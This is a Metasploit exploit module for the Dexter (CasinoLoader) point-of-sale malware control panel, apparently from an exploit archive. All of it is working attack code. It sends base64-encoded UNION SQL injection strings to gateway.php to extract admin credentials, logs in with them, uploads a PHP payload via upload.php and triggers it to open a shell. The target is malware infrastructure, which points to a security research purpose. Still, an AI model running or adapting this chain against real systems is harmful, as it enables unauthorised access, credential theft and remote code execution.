Dexter (CasinoLoader) SQL Injection Exploit

:
17.02.2014
:
Dexter
:

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Dexter (CasinoLoader) SQL Injection",
'Description' => %q{
This module exploits a vulnerability found in the command and control panel
used to control Dexter (Point of Sale malware). This is done by accessing the
PHP page used by bots to report in (gateway.php) which does not sanitize input.
Input is encrypted and encoded, but the key is supplied by the bot connecting.
The 'page' parameter is used in this case. The command and control panel designates
a location to upload files, and can be used as a reliable location to write a
PHP shell. Authentication is not needed to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bwall (Brian Wallace) <bwallace[at]cylance.com>'
],
'References' =>
[
[
"URL", "http://www.xylibox.com/2013/08/point-of-sale-malware-infostealerdexter.html"
]
],
'Payload' =>
{
'BadChars' => "\x00"
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['CasinoLoader gateway.php on Windows', {}],
['CasinoLoader gateway.php on Linux', {}]
],
'Privileged' => false,
'DisclosureDate' => "Feb 08 2014"
))

register_options(
[
OptString.new('TARGETURI', [true, 'The path to the CasinoLoader root folder', '/']),
OptString.new('TARGETGATEWAY', [true, 'Name of bot gateway page', 'gateway.php']),
OptString.new('TARGETLOGIN', [true, 'Name of panel login page', 'index.php']),
OptString.new('TARGETUPLOAD', [true, 'Name of panel upload page', 'upload.php']),
OptString.new('TARGETDATABASEUSERTABLE', [true, 'Table in database that holds admin data', 'users'])
], self.class)
end

def gateway
return normalize_uri(target_uri.path, datastore['TARGETGATEWAY'])
end

def login
return normalize_uri(target_uri.path, datastore['TARGETLOGIN'])
end

def upload
return normalize_uri(target_uri.path, datastore['TARGETUPLOAD'])
end

def database_get_field(table, column, row)
res = send_request_cgi({
'method' => 'POST',
'uri'=>gateway,
'vars_post' => {
'val' => 'AA==',
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --")
}
})
if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=')
return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3]
end
return false
end

def check
testvalue = rand_text_alpha(9)
res = send_request_cgi({
'method' => 'POST',
'uri'=>gateway,
'vars_post' => {
'val' => 'AA==',
'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1,'" + testvalue + "',3 -- --")
}
})

if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and
Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end


def exploit
payload_name = rand_text_alpha(rand(10) + 5) + '.php'

print_status("#{peer} - Using SQL injection to acquire credentials")
user = database_get_field('users', 'name', 0)
if user == false
print_error("#{peer} - Failed to acquire administrator username")
return
end

password = database_get_field('users', 'password', 0)
if password == false
print_error("#{peer} - Failed to acquire administrator password")
end

print_status("#{peer} - Using #{user}:#{password}")

res = send_request_cgi({
'method' => 'POST',
'uri'=>login,
'vars_post' => {
'submit' => '1',
'username' => user,
'password' => password
}
})

login_cookie = ""

if res and res.headers.has_key?('Location')
login_cookie = res.get_cookies
print_status("#{peer} - Login successful")
else
print_error("#{peer} - Failed to log in")
return
end

data = Rex::MIME::Message.new
data.add_part("MAX_FILE_SIZE", nil, nil, 'form-data; name="MAX_FILE_SIZE"')
data.add_part("<?php #{payload.encoded} ?>", nil, nil, "form-data; name=\"uploadedfile\"; filename=\"#{payload_name}\"")
post_data = data.to_s

print_status("#{peer} - Sending PHP payload (#{payload_name})")
res = send_request_cgi({
'method' => 'POST',
'uri' => upload,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => login_cookie,
'data' => post_data
})

if res and res.code == 200 and res.body =~ /a href="upload.php\?del=(.*)">/
path = $1
if target.name =~ /Linux/
path = path.sub! "\\", "/"
end
target_path = normalize_uri(target_uri.path, path)
print_status("#{peer} - Requesting: #{target_path}")
send_request_raw({'uri' => normalize_uri(target_path)})
handler
else
print_error("#{peer} - Failed to upload file")
return
end
end
end

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